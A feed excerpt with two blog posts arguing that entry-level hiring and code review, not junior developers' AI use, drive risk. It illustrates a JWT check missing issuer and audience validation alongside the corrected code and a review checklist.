&lt;p&gt;The issue was whether the developer understood the code before shipping it.&lt;/p&gt;

&lt;p&gt;That is still the standard.&lt;/p&gt;

&lt;h2&gt;
  
  
  Smart AI use is not laziness
&lt;/h2&gt;

&lt;p&gt;Stack Overflow's 2025 survey says 84% of respondents are using or planning to use AI tools, and 44% used AI-enabled tools to learn coding techniques or a new language. [&lt;a href="https://survey.stackoverflow.co/2025/ai" rel="noopener noreferrer"&gt;Stack Overflow AI survey&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;GitHub's Octoverse 2025 report says nearly 80% of new developers on GitHub used Copilot within their first week. [&lt;a href="https://github.blog/news-insights/octoverse/octoverse-a-new-developer-joins-github-every-second-as-ai-leads-typescript-to-1/" rel="noopener noreferrer"&gt;GitHub Octoverse 2025&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-2f39b837-f670-4a89-aff6-3bab69fe5190" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-2f39b837-f670-4a89-aff6-3bab69fe5190" alt="Chart: Developer AI adoption and learning signals, including Stack Overflow AI use and GitHub Copilot first-week usage for new developers" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Sources: &lt;a href="https://survey.stackoverflow.co/2025/ai" rel="noopener noreferrer"&gt;Stack Overflow 2025 Developer Survey&lt;/a&gt; and &lt;a href="https://github.blog/news-insights/octoverse/octoverse-a-new-developer-joins-github-every-second-as-ai-leads-typescript-to-1/" rel="noopener noreferrer"&gt;GitHub Octoverse 2025&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That is the world juniors are entering. Pretending otherwise is not discipline. It is denial.&lt;/p&gt;

&lt;p&gt;Lazy AI use looks like this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;paste the output&lt;/li&gt;
&lt;li&gt;do not read it&lt;/li&gt;
&lt;li&gt;do not test it&lt;/li&gt;
&lt;li&gt;do not understand failure cases&lt;/li&gt;
&lt;li&gt;hide the tool use&lt;/li&gt;
&lt;li&gt;ship confidence without comprehension&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Smart AI-assisted learning looks like this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ask for explanation&lt;/li&gt;
&lt;li&gt;compare with official docs&lt;/li&gt;
&lt;li&gt;generate test cases&lt;/li&gt;
&lt;li&gt;inspect edge cases&lt;/li&gt;
&lt;li&gt;rewrite in project style&lt;/li&gt;
&lt;li&gt;document assumptions&lt;/li&gt;
&lt;li&gt;ask a human for review where risk is high&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The first one deserves criticism. The second one deserves coaching.&lt;/p&gt;

&lt;h2&gt;
  
  
  A real junior role has a smaller blast radius
&lt;/h2&gt;

&lt;p&gt;If companies want juniors to succeed, the job description should identify the first 90 days.&lt;/p&gt;

&lt;p&gt;Example of a bad junior scope:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Own the customer dashboard end-to-end across React, Node, PostgreSQL, AWS, CI/CD, analytics tracking, and production support.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Example of a better junior scope:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;In the first 90 days, ship small product fixes in the React dashboard, write tests for touched behavior, pair on API changes, and learn the deployment process with a mentor before joining the support rotation.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That second version is still real work. It just does not pretend the junior is a full product team.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the job post should actually say
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Section&lt;/th&gt;
&lt;th&gt;What it should say&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Required skills&lt;/td&gt;
&lt;td&gt;The minimum needed on day one.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Teachable skills&lt;/td&gt;
&lt;td&gt;What the company expects to train.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;First 30 days&lt;/td&gt;
&lt;td&gt;Onboarding, repo setup, first small fixes.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;First 90 days&lt;/td&gt;
&lt;td&gt;Expected independent scope.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Mentorship&lt;/td&gt;
&lt;td&gt;Who reviews work and how often.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AI policy&lt;/td&gt;
&lt;td&gt;Approved tools, disclosure rules, privacy limits.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Support expectations&lt;/td&gt;
&lt;td&gt;Whether production support is shadowed or owned.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Evaluation&lt;/td&gt;
&lt;td&gt;How the junior will be judged.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;That is not extra paperwork. It is basic hiring clarity.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-34d7cb50-ab24-47cf-a36a-70f8d8d9f4db" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-34d7cb50-ab24-47cf-a36a-70f8d8d9f4db" alt="Chart: A realistic junior ramp grows scope from week one through month twelve instead of pretending day-one ownership is normal" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Source: Author framework for staged junior onboarding.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  The leadership mistake
&lt;/h2&gt;

&lt;p&gt;Many leadership teams do not know whether they want:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;an apprentice&lt;/li&gt;
&lt;li&gt;a junior developer&lt;/li&gt;
&lt;li&gt;a mid-level developer&lt;/li&gt;
&lt;li&gt;a full-stack generalist&lt;/li&gt;
&lt;li&gt;a platform engineer&lt;/li&gt;
&lt;li&gt;a cheap senior&lt;/li&gt;
&lt;li&gt;a product engineer&lt;/li&gt;
&lt;li&gt;a support engineer who can code&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So they write all of it into one job description, then complain about the candidate pool.&lt;/p&gt;

&lt;p&gt;That is backwards. Bad requirements create bad hiring signals.&lt;/p&gt;

&lt;p&gt;If the role is confused, the hiring process will be confused.&lt;/p&gt;

&lt;p&gt;If the hiring process is confused, the team will reject good juniors for not being imaginary candidates.&lt;/p&gt;

&lt;h2&gt;
  
  
  AI does not magically fix the gap
&lt;/h2&gt;

&lt;p&gt;AI does not fix this.&lt;/p&gt;

&lt;p&gt;It can even make the gap worse.&lt;/p&gt;

&lt;p&gt;The paper &lt;em&gt;The Widening Gap&lt;/em&gt; found that generative AI can help novice programmers, but it can also widen differences between learners who can evaluate suggestions and learners who accept bad output too easily. [&lt;a href="https://arxiv.org/abs/2405.17739" rel="noopener noreferrer"&gt;The Widening Gap&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;A 2025 systematic literature review on junior developers and LLMs found that most studies report both positive and negative perceptions of LLM adoption. [&lt;a href="https://arxiv.org/abs/2503.07556" rel="noopener noreferrer"&gt;Junior developers and LLMs SLR&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;That means AI can help juniors climb. It can also hide weak understanding.&lt;/p&gt;

&lt;p&gt;The difference is not moral character. The difference is training, review, and feedback.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bottom line
&lt;/h2&gt;

&lt;p&gt;Entry-level hiring is broken when the job description asks for a junior title, a mid-level skillset, a senior ownership model, and no mentorship plan.&lt;/p&gt;

&lt;p&gt;Companies can keep blaming juniors.&lt;/p&gt;

&lt;p&gt;Or they can write honest roles.&lt;/p&gt;

&lt;p&gt;If a company wants junior talent, it has to define what the junior is expected to know, what the company will teach, and how AI-assisted learning will be reviewed.&lt;/p&gt;

&lt;p&gt;Anything else is just a broken product spec disguised as hiring.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://dev.to/tags/hiring" class="crayons-btn crayons-btn--primary"&gt;Interested in hiring, junior developers, and tech careers? Explore #hiring on DEV.&lt;/a&gt;
&lt;/p&gt;

</description>
      <category>javascript</category>
      <category>ai</category>
      <category>hiring</category>
      <category>career</category>
    </item>
    <item>
      <title>AI Did Not Make Junior Developers Risky. Unreviewed Work Did.</title>
      <dc:creator>Bradley Matera</dc:creator>
      <pubDate>Wed, 29 Apr 2026 22:31:42 +0000</pubDate>
      <link>https://forem.com/bradleymatera/ai-did-not-make-junior-developers-risky-unreviewed-work-did-51n1</link>
      <guid>https://forem.com/bradleymatera/ai-did-not-make-junior-developers-risky-unreviewed-work-did-51n1</guid>
      <description>&lt;p&gt;The industry talks about junior developers using AI like the junior is the main risk.&lt;/p&gt;

&lt;p&gt;That is too convenient.&lt;/p&gt;

&lt;p&gt;A junior can absolutely ship bad AI-generated code.&lt;/p&gt;

&lt;p&gt;So can a senior.&lt;/p&gt;

&lt;p&gt;So can a staff engineer under deadline pressure.&lt;/p&gt;

&lt;p&gt;So can a team with no tests, unclear ownership, and code review that nitpicks style while missing behavior.&lt;/p&gt;

&lt;p&gt;The problem is not that juniors use tools.&lt;/p&gt;

&lt;p&gt;The problem is companies letting risky work pass through weak systems, then blaming the lowest-status person when something breaks.&lt;/p&gt;


&lt;div class="crayons-card c-embed text-styles text-styles--secondary"&gt;
    &lt;div class="c-embed__content"&gt;
        &lt;div class="c-embed__cover"&gt;
          &lt;a href="https://giphy.com/gifs/hackerrehab-spamhaus-packettel-spoofed-scans-BBxHxdxHJTN4vYckCL" class="c-link align-middle" rel="noopener noreferrer"&gt;
            &lt;img alt="" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fmedia0.giphy.com%2Fmedia%2Fv1.Y2lkPTc5MGI3NjExZnlpYXNubDJqbDA5dWZ4ZHJ3MWhpZXdlbWR4NzJuam1sZmI5cThobSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw%2FBBxHxdxHJTN4vYckCL%2Fgiphy.webp" height="218" class="m-0" width="476"&gt;
          &lt;/a&gt;
        &lt;/div&gt;
      &lt;div class="c-embed__body"&gt;
        &lt;h2 class="fs-xl lh-tight"&gt;
          &lt;a href="https://giphy.com/gifs/hackerrehab-spamhaus-packettel-spoofed-scans-BBxHxdxHJTN4vYckCL" rel="noopener noreferrer" class="c-link"&gt;
            Computer Code GIF by HACKER.REHAB - Find &amp;amp; Share on GIPHY
          &lt;/a&gt;
        &lt;/h2&gt;
          &lt;p class="truncate-at-3"&gt;
            Discover &amp;amp; share this Computer Code GIF by HACKER.REHAB with everyone you know. GIPHY is how you search, share, discover, and create GIFs.
          &lt;/p&gt;
        &lt;div class="color-secondary fs-s flex items-center"&gt;
            &lt;img alt="favicon" class="c-embed__favicon m-0 mr-2 radius-0" src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgiphy.com%2Fstatic%2Fimg%2Ffavicon.png" width="16" height="16"&gt;
          giphy.com
        &lt;/div&gt;
      &lt;/div&gt;
    &lt;/div&gt;
&lt;/div&gt;


&lt;h2&gt;
  
  
  Security shows the double standard
&lt;/h2&gt;

&lt;p&gt;Take a basic authentication example.&lt;/p&gt;

&lt;p&gt;A service verifies a JWT signature but forgets to validate issuer or audience:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;jwt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;publicKey&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;sub&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Invalid token&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The missing checks are the boring part that matters:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;iss&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;allowedIssuer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Unauthorized token issuer&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;aud&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="nx"&gt;config&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;expectedAudience&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;throw&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Unexpected token audience&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is not an "AI problem." It is an engineering-control problem.&lt;/p&gt;

&lt;p&gt;If a junior asks AI, "What claims should a JWT validation path check?" and then uses that answer to inspect the code, that can be a good learning move.&lt;/p&gt;

&lt;p&gt;If anyone copies generated auth code into production without tests or review, that is reckless.&lt;/p&gt;

&lt;p&gt;The difference is verification.&lt;/p&gt;

&lt;h2&gt;
  
  
  The risk is real
&lt;/h2&gt;

&lt;p&gt;Security concerns around AI-generated code are real.&lt;/p&gt;

&lt;p&gt;AI can suggest outdated libraries, miss authorization boundaries, invent safe-looking checks, or generate code that passes happy-path tests while failing under real attack scenarios.&lt;/p&gt;

&lt;p&gt;But security risk existed long before AI.&lt;/p&gt;

&lt;p&gt;OWASP's Top 10 lists &lt;a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/" rel="noopener noreferrer"&gt;Broken Access Control&lt;/a&gt; as the number one 2021 web application security risk category. It also lists &lt;a href="https://owasp.org/Top10/2021/A07_2021-Identification_and_Authentication_Failures/" rel="noopener noreferrer"&gt;Identification and Authentication Failures&lt;/a&gt; as a major category.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-cc27138d-dbbd-4392-88ac-ae9c0aabac86" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-cc27138d-dbbd-4392-88ac-ae9c0aabac86" alt="Chart: OWASP 2021 ranks Broken Access Control first and Identification and Authentication Failures seventh in the Top 10" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Sources: &lt;a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/" rel="noopener noreferrer"&gt;OWASP Broken Access Control&lt;/a&gt; and &lt;a href="https://owasp.org/Top10/2021/A07_2021-Identification_and_Authentication_Failures/" rel="noopener noreferrer"&gt;OWASP Identification and Authentication Failures&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Those are not "junior used ChatGPT" categories. They are systems failing to enforce trust boundaries.&lt;/p&gt;

&lt;p&gt;NIST's &lt;a href="https://csrc.nist.gov/pubs/sp/800/218/final" rel="noopener noreferrer"&gt;Secure Software Development Framework, SP 800-218&lt;/a&gt;, emphasizes secure practices across the software lifecycle, including defined roles, testing, vulnerability review, and risk response.&lt;/p&gt;

&lt;p&gt;Security is a lifecycle responsibility. It cannot be reduced to "did the junior use AI?"&lt;/p&gt;

&lt;h2&gt;
  
  
  The pattern that actually breaks teams
&lt;/h2&gt;

&lt;p&gt;Here is the pattern that should worry companies:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Weak system&lt;/th&gt;
&lt;th&gt;What happens&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;No clear security checklist&lt;/td&gt;
&lt;td&gt;Review depends on memory and senior availability.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No threat modeling&lt;/td&gt;
&lt;td&gt;Teams do not know which risks matter.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No auth regression tests&lt;/td&gt;
&lt;td&gt;Small claim-check bugs survive.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No AI usage policy&lt;/td&gt;
&lt;td&gt;Tool use becomes hidden or selectively punished.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No safe escalation path&lt;/td&gt;
&lt;td&gt;Juniors stop raising uncomfortable concerns.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;No ownership of deferred risk&lt;/td&gt;
&lt;td&gt;"Later" becomes "never."&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;That is how security bugs survive. Not because a junior asked an AI assistant to explain JWTs.&lt;/p&gt;

&lt;h2&gt;
  
  
  AI can teach vocabulary, not judgment
&lt;/h2&gt;

&lt;p&gt;One underrated use of AI is vocabulary.&lt;/p&gt;

&lt;p&gt;Juniors often see a problem before they know how to name it.&lt;/p&gt;

&lt;p&gt;They might notice:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;this token accepts too much&lt;/li&gt;
&lt;li&gt;this endpoint trusts a client field&lt;/li&gt;
&lt;li&gt;this query exposes another tenant's data&lt;/li&gt;
&lt;li&gt;this permission check happens only in the UI&lt;/li&gt;
&lt;li&gt;this webhook handler is not idempotent&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;AI can help map those observations to terms:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;issuer validation&lt;/li&gt;
&lt;li&gt;audience validation&lt;/li&gt;
&lt;li&gt;broken access control&lt;/li&gt;
&lt;li&gt;authorization bypass&lt;/li&gt;
&lt;li&gt;tenant isolation&lt;/li&gt;
&lt;li&gt;idempotency&lt;/li&gt;
&lt;li&gt;replay risk&lt;/li&gt;
&lt;li&gt;least privilege&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;That does not make AI a security reviewer. It makes AI a learning layer.&lt;/p&gt;

&lt;p&gt;The human process still has to verify the answer.&lt;/p&gt;

&lt;h2&gt;
  
  
  The data supports caution, not panic
&lt;/h2&gt;

&lt;p&gt;Stack Overflow's 2025 Developer Survey says AI use is widespread, but trust is low. More developers distrust AI output accuracy than trust it: 46% versus 33%. [&lt;a href="https://survey.stackoverflow.co/2025/ai" rel="noopener noreferrer"&gt;Stack Overflow AI survey&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-0cb70d32-659d-4b1d-8407-981bc3a9d1ee" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fquickchart.io%2Fchart%2Frender%2Fzf-0cb70d32-659d-4b1d-8407-981bc3a9d1ee" alt="Chart: Stack Overflow 2025 shows 46% distrust AI output accuracy, 33% trust it, and 66% cite almost-right answers as a frustration" width="2000" height="1160"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Source: &lt;a href="https://survey.stackoverflow.co/2025/ai" rel="noopener noreferrer"&gt;Stack Overflow 2025 Developer Survey&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;That is the right posture for security-sensitive work:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;useful, but not trusted blindly.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The research on novice programmers is also cautious. &lt;em&gt;The Widening Gap&lt;/em&gt; found that GenAI can help novices complete tasks, but weaker learners may struggle to reject incorrect suggestions. [&lt;a href="https://arxiv.org/abs/2405.17739" rel="noopener noreferrer"&gt;The Widening Gap&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;A 2025 systematic review on junior developers and LLMs found both positive and negative perceptions across the literature. [&lt;a href="https://arxiv.org/abs/2503.07556" rel="noopener noreferrer"&gt;Junior developers and LLMs SLR&lt;/a&gt;]&lt;/p&gt;

&lt;p&gt;That is not a ban argument. It is a governance argument.&lt;/p&gt;

&lt;h2&gt;
  
  
  Review should follow the risk
&lt;/h2&gt;

&lt;p&gt;Teams need different review standards for different code.&lt;/p&gt;

&lt;p&gt;Changing button copy is not the same as changing authentication logic.&lt;/p&gt;

&lt;p&gt;A risk-based review model might look like this:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code area&lt;/th&gt;
&lt;th&gt;AI assistance allowed?&lt;/th&gt;
&lt;th&gt;Review expectation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;UI copy&lt;/td&gt;
&lt;td&gt;Usually low risk&lt;/td&gt;
&lt;td&gt;Normal review.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Styling&lt;/td&gt;
&lt;td&gt;Usually low risk&lt;/td&gt;
&lt;td&gt;Visual check.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Business logic&lt;/td&gt;
&lt;td&gt;Allowed with validation&lt;/td&gt;
&lt;td&gt;Tests for behavior and edge cases.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Database migrations&lt;/td&gt;
&lt;td&gt;High caution&lt;/td&gt;
&lt;td&gt;Human review, rollback plan, test data.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Auth and permissions&lt;/td&gt;
&lt;td&gt;High caution&lt;/td&gt;
&lt;td&gt;Security review, threat model, regression tests.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Payments&lt;/td&gt;
&lt;td&gt;High caution&lt;/td&gt;
&lt;td&gt;Lifecycle tests, idempotency, reconciliation.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Secrets and infrastructure&lt;/td&gt;
&lt;td&gt;High caution&lt;/td&gt;
&lt;td&gt;Approved tooling, least privilege, audit trail.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;This is stricter than yelling "no AI," and it is more useful.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bad leadership makes people hide tool use
&lt;/h2&gt;

&lt;p&gt;If leadership treats all AI use as suspicious, juniors will not stop using AI.&lt;/p&gt;

&lt;p&gt;They will stop disclosing it.&lt;/p&gt;

&lt;p&gt;That is worse than disclosure.&lt;/p&gt;

&lt;p&gt;The company loses visibility into:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;what tools are being used&lt;/li&gt;
&lt;li&gt;what code may have been generated&lt;/li&gt;
&lt;li&gt;what data may have been pasted&lt;/li&gt;
&lt;li&gt;which developers need coaching&lt;/li&gt;
&lt;li&gt;which patterns keep causing confusion&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A useful AI policy should make disclosure normal, not humiliating.&lt;/p&gt;

&lt;p&gt;Something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AI assistance:
- used for explanation, edge-case brainstorming, or draft code

Developer responsibility:
- author owns final code
- risky code requires tests and human review
- private code may only be used with approved tools
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That gives reviewers something concrete.&lt;/p&gt;

&lt;h2&gt;
  
  
  Seniors have to review better too
&lt;/h2&gt;

&lt;p&gt;Senior engineers cannot just complain that juniors do not know enough.&lt;/p&gt;

&lt;p&gt;They have to decide whether they are reviewers, mentors, or gatekeepers.&lt;/p&gt;

&lt;p&gt;A useful senior review asks:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What behavior does this code guarantee?&lt;/li&gt;
&lt;li&gt;What cases are not covered?&lt;/li&gt;
&lt;li&gt;What did the AI suggest that you rejected?&lt;/li&gt;
&lt;li&gt;Which docs did you verify against?&lt;/li&gt;
&lt;li&gt;What would break if this assumption is wrong?&lt;/li&gt;
&lt;li&gt;How does the test prove the security boundary?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A weak senior review says:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"This looks AI-generated."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That is not enough.&lt;/p&gt;

&lt;p&gt;Maybe it is generated. So what?&lt;/p&gt;

&lt;p&gt;Is it correct? Is it tested? Is it safe? Is it maintainable? Does it respect the data boundary?&lt;/p&gt;

&lt;p&gt;Those are the questions that matter.&lt;/p&gt;

&lt;h2&gt;
  
  
  Example: JWT validation checklist
&lt;/h2&gt;

&lt;p&gt;For security-sensitive code, teams should teach checklists.&lt;/p&gt;

&lt;p&gt;For JWT validation, a basic review checklist might include:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Check&lt;/th&gt;
&lt;th&gt;Why it matters&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Verify signature&lt;/td&gt;
&lt;td&gt;Confirms token integrity.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Validate issuer&lt;/td&gt;
&lt;td&gt;Rejects tokens from unexpected authorities.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Validate audience&lt;/td&gt;
&lt;td&gt;Ensures token is meant for this service.&lt;/td&gt;
